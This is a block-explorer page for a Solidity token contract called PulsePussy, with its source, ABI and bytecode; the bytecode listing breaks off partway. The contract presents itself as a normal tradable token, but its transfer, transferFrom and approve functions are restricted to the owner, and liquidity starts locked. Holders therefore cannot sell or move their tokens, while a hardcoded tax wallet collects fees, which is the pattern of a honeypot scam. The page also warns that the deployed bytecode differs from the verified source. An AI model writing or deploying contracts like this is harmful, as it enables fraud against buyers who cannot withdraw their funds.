Transactions
Token Transfers
Tokens
Internal Transactions
Coin Balance History
Logs
Code
Read Contract
Write Contract
Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
- Contract name:
- PulsePussy
- Optimization enabled
- false
- Compiler version
- v0.8.18+commit.87f61d96
- EVM Version
- berlin
- Verified at
- 2023-05-26T03:23:01.957198Z
Contract source code
// File: ppuss.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract PulsePussy {
string public constant name = "PulsePussy";
string public constant symbol = "PPUSSY";
uint8 public constant decimals = 18;
uint256 public totalSupply = 30_000_000_000 * 10**uint256(decimals);
uint256 private constant MAX_WALLET_PERCENTAGE = 2;
uint256 private constant MAX_TRANSACTION_PERCENTAGE = 2;
uint256 private constant TAX_PERCENTAGE = 3;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => uint256) public lastTransactionTime;
address public owner;
address public liquidityPool;
address public taxWallet;
bool private locked;
modifier onlyOwner() {
require(msg.sender == owner, "Only the owner can call this function.");
_;
}
modifier walletLimit(address _address, uint256 _amount) {
require(balanceOf[_address] + _amount <= totalSupply * MAX_WALLET_PERCENTAGE / 100, "Wallet balance would exceed maximum limit");
_;
}
modifier transactionLimit(uint256 _amount) {
require(calculatePercentage(_amount, totalSupply) <= MAX_TRANSACTION_PERCENTAGE, "Transaction amount exceeds maximum limit");
_;
}
modifier liquidityUnlocked() {
require(!locked, "Liquidity is locked");
_;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event LiquidityLocked();
event LiquidityUnlocked();
constructor() {
owner = msg.sender;
taxWallet = 0xd7050D2228A9b3630CA4DFb0E59a9DB4f24863fe;
balanceOf[msg.sender] = totalSupply;
locked = true;
}
function transfer(address to, uint256 amount) external onlyOwner walletLimit(msg.sender, amount) transactionLimit(amount) liquidityUnlocked returns (bool) {
require(to != address(0), "Invalid recipient address");
require(amount <= balanceOf[msg.sender], "Insufficient balance");
uint256 taxAmount = calculatePercentage(amount, TAX_PERCENTAGE);
uint256 transferAmount = amount - taxAmount;
balanceOf[msg.sender] -= amount;
balanceOf[to] += transferAmount;
balanceOf[taxWallet] += taxAmount;
emit Transfer(msg.sender, to, transferAmount);
emit Transfer(msg.sender, taxWallet, taxAmount);
lastTransactionTime[msg.sender] = block.timestamp;
return true;
}
function approve(address spender, uint256 amount) external onlyOwner returns (bool) {
require(spender != address(0), "Invalid spender address");
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) external onlyOwner walletLimit(from, amount) transactionLimit(amount) liquidityUnlocked returns (bool) {
require(from != address(0), "Invalid sender address");
require(to != address(0), "Invalid recipient address");
require(amount <= balanceOf[from], "Insufficient balance");
require(amount <= allowance[from][msg.sender], "Insufficient allowance");
uint256 taxAmount = calculatePercentage(amount, TAX_PERCENTAGE);
uint256 transferAmount = amount - taxAmount;
balanceOf[from] -= amount;
balanceOf[to] += transferAmount;
balanceOf[taxWallet] += taxAmount;
emit Transfer(from, to, transferAmount);
emit Transfer(from, taxWallet, taxAmount);
allowance[from][msg.sender] -= amount;
lastTransactionTime[from] = block.timestamp;
return true;
}
function setLiquidityPool(address _liquidityPool) external onlyOwner {
require(_liquidityPool != address(0), "Invalid liquidity pool address");
liquidityPool = _liquidityPool;
}
function lockLiquidity() external onlyOwner {
locked = true;
emit LiquidityLocked();
}
function unlockLiquidity() external onlyOwner {
locked = false;
emit LiquidityUnlocked();
}
function renounceOwnership() external onlyOwner {
owner = address(0);
}
function calculatePercentage(uint256 amount, uint256 percentage) private pure returns (uint256) {
return amount * percentage / 100;
}
}
Contract ABI
[{"type":"constructor","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"allowance","inputs":[{"type":"address","name":"","internalType":"address"},{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"approve","inputs":[{"type":"address","name":"spender","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"balanceOf","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint8","name":"","internalType":"uint8"}],"name":"decimals","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"lastTransactionTime","inputs":[{"type":"address","name":"","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"liquidityPool","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"lockLiquidity","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"name","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"owner","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"renounceOwnership","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"setLiquidityPool","inputs":[{"type":"address","name":"_liquidityPool","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"string","name":"","internalType":"string"}],"name":"symbol","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"address","name":"","internalType":"address"}],"name":"taxWallet","inputs":[]},{"type":"function","stateMutability":"view","outputs":[{"type":"uint256","name":"","internalType":"uint256"}],"name":"totalSupply","inputs":[]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transfer","inputs":[{"type":"address","name":"to","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"transferFrom","inputs":[{"type":"address","name":"from","internalType":"address"},{"type":"address","name":"to","internalType":"address"},{"type":"uint256","name":"amount","internalType":"uint256"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"unlockLiquidity","inputs":[]},{"type":"event","name":"Approval","inputs":[{"type":"address","name":"owner","indexed":true},{"type":"address","name":"spender","indexed":true},{"type":"uint256","name":"value","indexed":false}],"anonymous":false},{"type":"event","name":"LiquidityLocked","inputs":[],"anonymous":false},{"type":"event","name":"LiquidityUnlocked","inputs":[],"anonymous":false},{"type":"event","name":"Transfer","inputs":[{"type":"address","name":"from","indexed":true},{"type":"address","name":"to","indexed":true},{"type":"uint256","name":"value","indexed":false}],"anonymous":false}]
Contract Creation Code
0x6080604052601260ff16600a620000179190620002c4565b6406fc23ac0062000029919062000315565b6000553480156200003957600080fd5b5033600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073d7050d2228a9b3630ca4dfb0e59a9db4f24863fe600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600054600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600660146101000a81548160ff02191690831515021790555062000360565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620001c5578086048111156200019d576200019c62000137565b5b6001851615620001ad5780820291505b8081029050620001bd8562000166565b94506200017d565b94509492505050565b600082620001e05760019050620002b3565b81620001f05760009050620002b3565b816001811462000209576002811462000214576200024a565b6001915050620002b3565b60ff84111562000229576200022862000137565b5b8360020a91508482111562000243576200024262000137565b5b50620002b3565b5060208310610133831016604e8410600b8410161715620002845782820a9050838111156200027e576200027d62000137565b5b620002b3565b62000293848484600162000173565b92509050818404811115620002ad57620002ac62000137565b5b81810290505b9392505050565b6000819050919050565b6000620002d182620002ba565b9150620002de83620002ba565b92506200030d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620001ce565b905092915050565b60006200032282620002ba565b91506200032f83620002ba565b92508282026200033f81620002ba565b9150828204841483151762000359576200035862000137565b5b5092915050565b611fdf80620003706000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c80636b54acd9116100a257806395d89b411161007157806395d89b4114610284578063a9059cbb146102a2578063bb2f7199146102d2578063dd62ed3e146102dc578063e75b20731461030c5761010b565b80636b54acd91461022257806370a082311461022c578063715018a61461025c5780638da5cb5b146102665761010b565b806323b872dd116100de57806323b872dd146101985780632dc0562d146101c8578063313ce567146101e6578063665a11ca146102045761010b565b8063018770201461011057806306fdde031461012c578063095ea7b31461014a57806318160ddd1461017a575b600080fd5b61012a6004803603810190610125919061171d565b61033c565b005b61013461047f565b60405161014191906117da565b60405180910390f35b610164600480360381019061015f9190611832565b6104b8565b604051610171919061188d565b60405180910390f35b6101826106a9565b60405161018f91906118b7565b60405180910390f35b6101b260048036038101906101ad91906118d2565b6106af565b6040516101bf919061188d565b60405180910390f35b6101d0610dbf565b6040516101dd9190611934565b60405180910390f35b6101ee610de5565b6040516101fb919061196b565b60405180910390f35b61020c610dea565b6040516102199190611934565b60405180910390f35b61022a610e10565b005b6102466004803603810190610241919061171d565b610ee9565b60405161025391906118b7565b60405180910390f35b610264610f01565b005b61026e610fd5565b60405161027b9190611934565b60405180910390f35b61028c610ffb565b60405161029991906117da565b60405180910390f35b6102bc60048036038101906102b79190611832565b611034565b6040516102c9919061188d565b60405180910390f35b6102da611582565b005b6102f660048036038101906102f19190611986565b61165b565b60405161030391906118b7565b60405180910390f35b6103266004803603810190610321919061171d565b611680565b60405161033391906118b7565b60405180910390f35b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c390611a38565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361043b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161043290611aa4565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6040518060400160405280600a81526020017f50756c736550757373790000000000000000000000000000000000000000000081525081565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461054a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054190611a38565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036105b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b090611b10565b60405180910390fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161069791906118b7565b60405180910390a36001905092915050565b60005481565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610741576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073890611a38565b60405180910390fd5b8382606460026000546107549190611b5f565b61075e9190611bd0565b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107a99190611c01565b11156107ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e190611ca7565b60405180910390fd5b8360026107f982600054611698565b111561083a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083190611d39565b60405180910390fd5b600660149054906101000a900460ff161561088a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088190611da5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036108f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f090611e11565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1603610968576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095f90611e7d565b60405180910390fd5b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548511156109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e190611ee9565b60405180910390fd5b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054851115610aa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa090611f55565b60405180910390fd5b6000610ab6866003611698565b905060008187610ac69190611f75565b905086600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b179190611f75565b9250508190555080600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b6d9190611c01565b925050819055508160016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be59190611c01565b925050819055508773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c4991906118b7565b60405180910390a3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cd091906118b7565b60405180910390a386600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d649190611f75565b9250508190555042600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001955050505050509392505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601281565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790611a38565b60405180910390fd5b6000600660146101000a81548160ff0219169083151502179055507f175e049bb68bcee8f7b1c836f5d07f408d5f8ae38c23e4dca3f68888334529a760405160405180910390a1565b60016020528060005260406000206000915090505481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8890611a38565b60405180910390fd5b6000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600681526020017f505055535359000000000000000000000000000000000000000000000000000081525081565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bd90611a38565b60405180910390fd5b3382606460026000546110d99190611b5f565b6110e39190611bd0565b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461112e9190611c01565b111561116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690611ca7565b60405180910390fd5b83600261117e82600054611698565b11156111bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b690611d39565b60405180910390fd5b600660149054906101000a900460ff161561120f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120690611da5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361127e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127590611e7d565b60405180910390fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054851115611300576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f790611ee9565b60405180910390fd5b600061130d866003611698565b90506000818761131d9190611f75565b905086600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461136e9190611f75565b9250508190555080600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113c49190611c01565b925050819055508160016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461143c9190611c01565b925050819055508773ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114a091906118b7565b60405180910390a3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161152791906118b7565b60405180910390a342600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019550505050505092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611612576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160990611a38565b60405180910390fd5b6001600660146101000a81548160ff0219169083151502179055507f8f4e75b2b71b51d3107f168f33d4f291c4ef089a69b1075bcbf4476c69e81d0660405160405180910390a1565b6002602052816000526040600020602052806000526040600020600091509150505481565b60036020528060005260406000206000915090505481565b6000606482846116a89190611b5f565b6116b29190611bd0565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116ea826116bf565b9050919050565b6116fa816116df565b811461170557600080fd5b50565b600081359050611717816116f1565b92915050565b600060208284031215611733576117326116ba565b5b600061174184828501611708565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611784578082015181840152602081019050611769565b60008484015250505050565b6000601f19601f8301169050919050565b60006117ac8261174a565b6117b68185611755565b93506117c6818560208601611766565b6117cf81611790565b840191505092915050565b600060208201905081810360008301526117f481846117a1565b905092915050565b6000819050919050565b61180f816117fc565b811461181a57600080fd5b50565b60008135905061182c81611806565b92915050565b60008060408385031215611849576118486116ba565b5b600061185785828601611708565b92505060206118688582860161181d565b9150509250929050565b60008115159050919050565b61188781611872565b82525050565b60006020820190506118a2600083018461187e565b92915050565b6118b1816117fc565b82525050565b60006020820190506118cc60008301846118a8565b92915050565b6000806000606084860312156118eb576118ea6116ba565b5b60006118f986828701611708565b935050602061190a86828701611708565b925050604061191b8682870161181d565b9150509250925092565b61192e816116df565b82525050565b60006020820190506119496000830184611925565b92915050565b600060ff82169050919050565b6119658161194f565b82525050565b6000602082019050611980600083018461195c565b92915050565b6000806040838503121561199d5761199c6116ba565b5b60006119ab85828601611708565b92505060206119bc85828601611708565b9150509250929050565b7f4f6e6c7920746865206f776e65722063616e2063616c6c20746869732066756e60008201527f6374696f6e2e0000000000000000000000000000000000000000000000000000602082015250565b6000611a22602683611755565b9150611a2d826119c6565b604082019050919050565b60006020820190508181036000830152611a5181611a15565b9050919050565b7f496e76616c6964206c697175696469747920706f6f6c20616464726573730000600082015250565b6000611a8e601e83611755565b9150611a9982611a58565b602082019050919050565b60006020820190508181036000830152611abd81611a81565b9050919050565b7f496e76616c6964207370656e6465722061646472657373000000000000000000600082015250565b6000611afa601783611755565b9150611b0582611ac4565b602082019050919050565b60006020820190508181036000830152611b2981611aed565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611b6a826117fc565b9150611b75836117fc565b9250828202611b83816117fc565b91508282048414831517611b9a57611b99611b30565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bdb826117fc565b9150611be6836117fc565b925082611bf657611bf5611ba1565b5b828204905092915050565b6000611c0c826117fc565b9150611c17836117fc565b9250828201905080821115611c2f57611c2e611b30565b5b92915050565b7f57616c6c65742062616c616e636520776f756c6420657863656564206d61786960008201527f6d756d206c696d69740000000000000000000000000000000000000000000000602082015250565b6000611c91602983611755565b9150611c9c82611c35565b604082019050919050565b60006020820190508181036000830152611cc081611c84565b9050919050565b7f5472616e73616374696f6e20616d6f756e742065786365656473206d6178696d60008201527f756d206c696d6974000000000000000000000000000000000000000000000000602082015250565b6000611d23602883611755565b9150611d2e82611cc7565b604082019050919050565b60006020820190508181036000830152611d5281611d16565b9050919050565b7f4c6971756964697479206973206c6f636b656400000000000000000000000000600082015250565b6000611d8f601383611755565b9150611d9a82611d59565b602082019050919050565b60006020820190508181036000830152611dbe81611d82565b9050919050565b7f496e76616c69642073656e646572206164647265737300000000000000000000600082015250565b6000611dfb601683611755565b9150611e0682611dc5565b602082019050919050565b60006020820190508181036000830152611e2a81611dee565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b6000611e67601983611755565b9150611e7282611e31565b602082019050919050565b60006020820190508181036000830152611e9681611e5a565b9050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000611ed3601483611755565b9150611ede82611e9d565b602082019050919050565b60006020820190508181036000830152611f0281611ec6565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b6000611f3f601683611755565b9150611f4a82611f09565b602082019050919050565b60006020820190508181036000830152611f6e81611f32565b9050919050565b6000611f80826117fc565b9150611f8b836117fc565b9250828203905081811115611fa357611fa2611b30565b5b9291505056fea26469706673582212200e4f17898b2e4cc56048f0e67f21ac2dd7c47606093c1db325ba5e4f71b36d4a64736f6c63430008120033
Deployed ByteCode
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80636b54acd9116100a257806395d89b411161007157806395d89b4114610284578063a9059cbb146102a2578063bb2f7199146102d2578063dd62ed3e146102dc578063e75b20731461030c5761010b565b80636b54acd91461022257806370a082311461022c578063715018a61461025c5780638da5cb5b146102665761010b565b806323b872dd116100de57806323b872dd146101985780632dc0562d146101c8578063313ce567146101e6578063665a11ca146102045761010b565b8063018770201461011057806306fdde031461012c578063095ea7b31461014a57806318160ddd1461017a575b600080fd5b61012a6004803603810190610125919061171d565b61033c565b005b61013461047f565b60405161014191906117da565b60405180910390f35b610164600480360381019061015f9190611832565b6104b8565b604051610171919061188d565b60405180910390f35b6101826106a9565b60405161018f91906118b7565b60405180910390f35b6101b260048036038101906101ad91906118d2565b6106af565b6040516101bf919061188d565b60405180910390f35b6101d0610dbf565b6040516101dd9190611934565b60405180910390f35b6101ee610de5565b6040516101fb919061196b565b60405180910390f35b61020c610dea565b6040516102199190611934565b60405180910390f35b61022a610e10565b005b6102466004803603810190610241919061171d565b610ee9565b60405161025391906118b7565b60405180910390f35b610264610f01565b005b61026e610fd5565b60405161027b9190611934565b60405180910390f35b61028c610ffb565b60405161029991906117da565b60405180910390f35b6102bc60048036038101906102b79190611832565b611034565b6040516102c9919061188d565b60405180910390f35b6102da611582565b005b6102f660048036038101906102f19190611986565b61165b565b60405161030391906118b7565b60405180910390f35b6103266004803603810190610321919061171d565b611680565b60405161033391906118b7565b60405180910390f35b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c390611a38565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361043b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161043290611aa4565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6040518060400160405280600a81526020017f50756c736550757373790000000000000000000000000000000000000000000081525081565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461054a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054190611a38565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036105b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b090611b10565b60405180910390fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161069791906118b7565b60405180910390a36001905092915050565b60005481565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610741576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073890611a38565b60405180910390fd5b8382606460026000546107549190611b5f565b61075e9190611bd0565b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107a99190611c01565b11156107ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e190611ca7565b60405180910390fd5b8360026107f982600054611698565b111561083a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083190611d39565b60405180910390fd5b600660149054906101000a900460ff161561088a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088190611da5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036108f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f090611e11565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1603610968576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095f90611e7d565b60405180910390fd5b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548511156109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e190611ee9565b60405180910390fd5b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054851115610aa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa090611f55565b60405180910390fd5b6000610ab6866003611698565b905060008187610ac69190611f75565b905086600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b179190611f75565b9250508190555080600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b6d9190611c01565b925050819055508160016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be59190611c01565b925050819055508773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c4991906118b7565b60405180910390a3600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cd091906118b7565b60405180910390a386600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d649190611f75565b9250508190555042600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001955050505050509392505050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601281565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790611a38565b60405180910390fd5b6000600660146101000a81548160ff0219169083151502179055507f175e049bb68bcee8f7b1c836f5d07f408d5f8ae38c23e4dca3f68888334529a760405160405180910390a1565b60016020528060005260406000206000915090505481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffff